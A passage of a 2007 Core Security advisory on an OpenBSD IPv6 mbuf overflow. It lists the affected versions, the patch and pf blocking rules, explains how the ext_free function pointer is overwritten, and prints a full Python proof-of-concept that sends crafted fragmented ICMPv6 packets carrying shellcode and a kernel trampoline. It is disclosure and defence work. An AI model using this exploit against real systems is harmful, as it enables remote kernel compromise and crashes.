• 2007-03-12: Workaround recommendations revisited. It is not yet conclusive that the "scrub in inet6" directive will prevent exploitation. It effectively stops the bug from triggering according to Core's tests but OpenBSD's source code inspection does not provide a clear understanding of why that happens. It could just be that the attack traffic is malformed in some other way that is not meaningful for exploiting the vulnerability (an error in the exploit code rather than an effective workaround?). The "scrub" workaround recommendation is removed from the advisory as precaution.


• 2007-03-13: Core releases this advisory.

Release Mode: FORCED RELEASE
Vulnerability Description
The OpenBSD kernel contains a memory corruption vulnerability in the code that handles IPv6 packets. Exploitation of this vulnerability can result in:

1) Remote execution of arbitrary code at the kernel level on the vulnerable systems (complete system compromise), or;

2) Remote denial of service attacks against vulnerable systems (system crash due to a kernel panic)

The issue can be triggered by sending a specially crafted IPv6 fragmented packet.

OpenBSD systems using default installations are vulnerable because the default pre-compiled kernel binary (GENERIC) has IPv6 enabled and OpenBSD's firewall does not filter inbound IPv6 packets in its default configuration.

However, in order to exploit a vulnerable system an attacker needs to be able to inject fragmented IPv6 packets on the target system's local network. This requires direct physical/logical access to the target's local network -in which case the attacking system does not need to have a working IPv6 stack- or the ability to route or tunnel IPv6 packets to the target from a remote network.
Vulnerable Packages

OpenBSD 4.1 prior to Feb. 26th, 2006.
OpenBSD 4.0 Current
OpenBSD 4.0 Stable
OpenBSD 3.9
OpenBSD 3.8
OpenBSD 3.6
OpenBSD 3.1

All other releases that implement the IPv6 protocol stack may be vulnerable.
Solution/Vendor Information/Workaround
The OpenBSD team has released a "security fix" to correct the mbuf problem, it is available as a source code patch for
OpenBSD 4.0 and 3.9 here

The patch can also be applied to previous versions of OpenBSD.
OpenBSD-current, 4.1, 4.0 and 3.9 have the fix incorporated in their source code tree and kernel binaries for those versions and the upcoming version 4.1 include the fix.

As a work around, users that do not need to process or route IPv6 traffic on their systems can block all inbound IPv6 packets using OpenBSD's firewall. This can be accomplished by adding the following line to /etc/pf.conf:

block in quick inet6 all

After adding the desired rules to pf.conf it is necessary to load them to the running PF using:

pfctl -f /etc/pf.conf

To enable PF use:
pfctl -e -f /etc/pf.conf

To check the status of PF and list all loaded rules use:
pfctl -s rules

Refer to the pf.conf(5) and pfctl(8) manpages for proper configuration and use of OpenBSD's firewall capabilities.
Credits
This vulnerability was found and researched by Alfredo Ortega from Core Security Technologies. The proof-of-concept code included in the advisory was developed by Alfredo Ortega with assistance from Mario Vilas and Gerardo Richarte.
Technical Description - Exploit/Concept Code
The vulnerability is due to improper handling of kernel memory buffers using mbuf structures. The vulnerability is triggered by OpenBSD-specific code at the mbuf layer and developed to accommodate the processing of IPv6 protocol packets.

By sending fragmented ICMPv6 packets an attacker can trigger an overflow of mbuf kernel memory structures resulting either in remote execution of arbitrary code in kernel mode or a kernel panic and subsequent system crash (a remote denial of service). Exploitation is accomplished by either:
1) Gaining control of execution flow by overwriting a function pointer, or;
2) Performing a mirrored 4 byte arbitrary memory overwrite similar to a user-space heap overflow.

The overflowed structure is an mbuf, the structure used to store network packets in kernel memory.

This is the definition (/sys/mbuf.h):

struct mbuf { struct m_hdr m_hdr; union { struct { struct pkthdr MH_pkthdr; /* M_PKTHDR set */ union { struct m_ext MH_ext; /* M_EXT set */ char MH_databuf[MHLEN]; } MH_dat; } MH; char M_databuf[MLEN]; /* !M_PKTHDR, !M_EXT */ } M_dat; };
We can see that the mbuf contains another structure of type m_ext (/sys/mbuf.h):

/* description of external storage mapped into mbuf, valid if M_EXT set */ struct m_ext { caddr_t ext_buf; /* start of buffer */ /* free routine if not the usual */ void (*ext_free)(caddr_t, u_int, void *); void *ext_arg; /* argument for ext_free */ u_int ext_size; /* size of buffer, for ext_free */ int ext_type; struct mbuf *ext_nextref; struct mbuf *ext_prevref; #ifdef DEBUG const char *ext_ofile; const char *ext_nfile; int ext_oline; int ext_nline; #endif };
This second structure contains the variable ext_free, a pointer to a function called when the mbuf is freed. Overwriting a mbuf with a crafted ICMP v6 packet (or any type of IPv6 packet), an attacker can control the flow of execution of the OpenBSD Kernel when the m_freem() function is called on the overflowed packet from any place on the network stack.

Also, since the mbufs are stored on a linked list, another variant of the attack is to overwrite the ext_nextref and ext_prevref pointers to cause a 32 bit write on a controlled area of the kernel memory, like a user-mode heap overflow exploit.

The following is a simple working proof-of-concept program in Python that demonstrates remote code execution on vulnerable systems.
It is necessary to set the target's system Ethernet address in the program to use it.

The PoC executes the shellcode (int 3) and returns. It overwrites the ext_free() function pointer on the mbuf and forces a m_freem() on the overflowed packet.

The Impacket library is used to craft and send packets (http://oss.coresecurity.com/projects/impacket.html or download from Debian repositories)

Currently, only systems supporting raw sockets and the PF_PACKET family can run the included proof-of-concept code.

Tested against a system running "OpenBSD 4.0 CURRENT (GENERIC) Mon Oct 30"

To use the code to test a custom machine you will need to:
1) Adjust the MACADDRESS variable
2) Find the right trampoline value for your system and replace it in the code. To find a proper trampoline value use the following command:
"objdump -d /bsd | grep esi | grep jmp"
3) Adjust the ICMP checksum

The exploit should stop on an int 3 and pressing "c" in ddb the kernel will continue normally.

--------------------icmp.py--------------------- # # Description: # OpenBSD ICMPv6 fragment remote execution PoC # # Author: # Alfredo Ortega # Mario Vilas # # Copyright (c) 2001-2007 CORE Security Technologies, CORE SDI Inc. # All rights reserved from impacket import ImpactPacket import struct import socket import time class BSD_ICMPv6_Remote_BO: MACADDRESS = (0x00,0x0c,0x29,0x44,0x68,0x6f) def Run(self): self.s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) self.s.bind(('eth0',0x86dd)) sourceIP = '\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f\x29\xff\xfe\x44\x68\x6f' # source address destIP = '\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' # destination address Multicast Link-level firstFragment, secondFragment = self.buildOpenBSDPackets(sourceIP,destIP) validIcmp = self.buildValidICMPPacket(sourceIP,destIP) for i in range(100): # fill mbufs self.sendpacket(firstFragment) self.sendpacket(validIcmp) time.sleep(0.01) for i in range(2): # Number of overflow packets to send. Increase if exploit is not reliable self.sendpacket(secondFragment) time.sleep(0.1) self.sendpacket(firstFragment) self.sendpacket(validIcmp) time.sleep(0.1) def sendpacket(self, data): ipe = ImpactPacket.Ethernet() ipe.set_ether_dhost(self.MACADDRESS) ipd = ImpactPacket.Data(data) ipd.ethertype = 0x86dd # Ethertype for IPv6 ipe.contains(ipd) p = ipe.get_packet() self.s.send(p) def buildOpenBSDPackets(self,sourceIP,destIP): HopByHopLenght= 1 IPv6FragmentationHeader = '' IPv6FragmentationHeader += struct.pack('!B', 0x3a) # next header (00: Hop by Hop) IPv6FragmentationHeader += struct.pack('!B', 0x00) # reserverd IPv6FragmentationHeader += struct.pack('!B', 0x00) # offset IPv6FragmentationHeader += struct.pack('!B', 0x01) # offset + More fragments: yes IPv6FragmentationHeader += struct.pack('>L', 0x0EADBABE) # id IPv6HopByHopHeader = '' IPv6HopByHopHeader += struct.pack('!B', 0x2c) # next header (0x3A: ICMP) IPv6HopByHopHeader += struct.pack('!B', HopByHopLenght ) # Hdr Ext Len (frutaaaaaaa :D ) IPv6HopByHopHeader += '\x00' *(((HopByHopLenght+1)*8)-2) # Options longitud = len(IPv6HopByHopHeader)+len(IPv6FragmentationHeader) print longitud IPv6Packet = '' IPv6Packet += struct.pack( '>L', 6 << 28 ) # version, traffic class, flow label IPv6Packet += struct.pack( '>H', longitud ) # payload length IPv6Packet += '\x00' # next header (2c: Fragmentation) IPv6Packet += '\x40' # hop limit IPv6Packet += sourceIP IPv6Packet += destIP firstFragment = IPv6Packet+IPv6HopByHopHeader+IPv6FragmentationHeader+('O'*150) self.ShellCode = '' self.ShellCode += '\xcc' # int 3 self.ShellCode += '\x83\xc4\x20\x5b\x5e\x5f\xc9\xc3\xcc' #fix ESP and ret ICMPv6Packet = '' ICMPv6Packet += '\x80' # type (128 == Icmp echo request) ICMPv6Packet += '\x00' # code ICMPv6Packet += '\xfb\x4e' # checksum ICMPv6Packet += '\x33\xf6' # ID ICMPv6Packet += '\x00\x00' # sequence ICMPv6Packet += ('\x90'*(212-len(self.ShellCode)))+self.ShellCode # Start of the next mfub (we land here): ICMPv6Packet += '\x90\x90\x90\x90\xE9\x3B\xFF\xFF' # jump backwards ICMPv6Packet += '\xFFAAA\x01\x01\x01\x01AAAABBBBAAAABBBB' # mbuf+0x20: trampoline = '\x8c\x23\x20\xd0' # jmp ESI on /bsd (find with "objdump -d /bsd | grep esi | grep jmp") ICMPv6Packet += 'AAAAAAAA'+trampoline+'CCCCDDDDEEEEFFFFGGGG' longitud = len(ICMPv6Packet) IPv6Packet = '' IPv6Packet += struct.pack( '>L', 6 << 28 ) # version, traffic class, flow label IPv6Packet += struct.pack( '>H', longitud ) # payload length IPv6Packet += '\x2c' # next header (2c: Fragmentation) IPv6Packet += '\x40' # hop limit IPv6Packet += sourceIP IPv6Packet += destIP IPv6FragmentationHeader = '' IPv6FragmentationHeader += struct.pack('!B', 0x3a) # next header (3A: icmpV6) IPv6FragmentationHeader += struct.pack('!B', 0x00) # reserverd IPv6FragmentationHeader += struct.pack('!B', 0x00) # offset IPv6FragmentationHeader += struct.pack('!B', 0x00) # offset + More fragments:no IPv6FragmentationHeader += struct.pack('>L', 0x0EADBABE) # id secondFragment = IPv6Packet+IPv6FragmentationHeader+ICMPv6Packet return firstFragment, secondFragment def buildValidICMPPacket(self,sourceIP,destIP): ICMPv6Packet = '' ICMPv6Packet += '\x80' # type (128 == Icmp echo request) ICMPv6Packet += '\x00' # code ICMPv6Packet += '\xcb\xc4' # checksum ICMPv6Packet += '\x33\xf6' # ID ICMPv6Packet += '\x00\x00' # sequence ICMPv6Packet += 'T'*1232 longitud = len(ICMPv6Packet) IPv6Packet = '' IPv6Packet += struct.pack( '>L', 6 << 28 ) # version, traffic class, flow label IPv6Packet += struct.pack( '>H', longitud ) # payload length IPv6Packet += '\x3A' # next header (2c: Fragmentation) IPv6Packet += '\x40' # hop limit IPv6Packet += sourceIP IPv6Packet += destIP icmpPacket = IPv6Packet+ICMPv6Packet return icmpPacket attack = BSD_ICMPv6_Remote_BO() attack.Run() --------------------icmp.py---------------------
About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies.

We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies.

CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://www.coresecurity.com/corelabs/


About Core Security Technologies
Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide. The company’s flagship product, CORE IMPACT, is the first automated penetration testing product for assessing specific information security threats to an organization. Penetration testing evaluates overall network security and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks.

Core augments its leading technology solution with world-class security consulting services, including penetration testing, software security auditing and related training.

Based in Boston, MA. and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at http://www.coresecurity.com.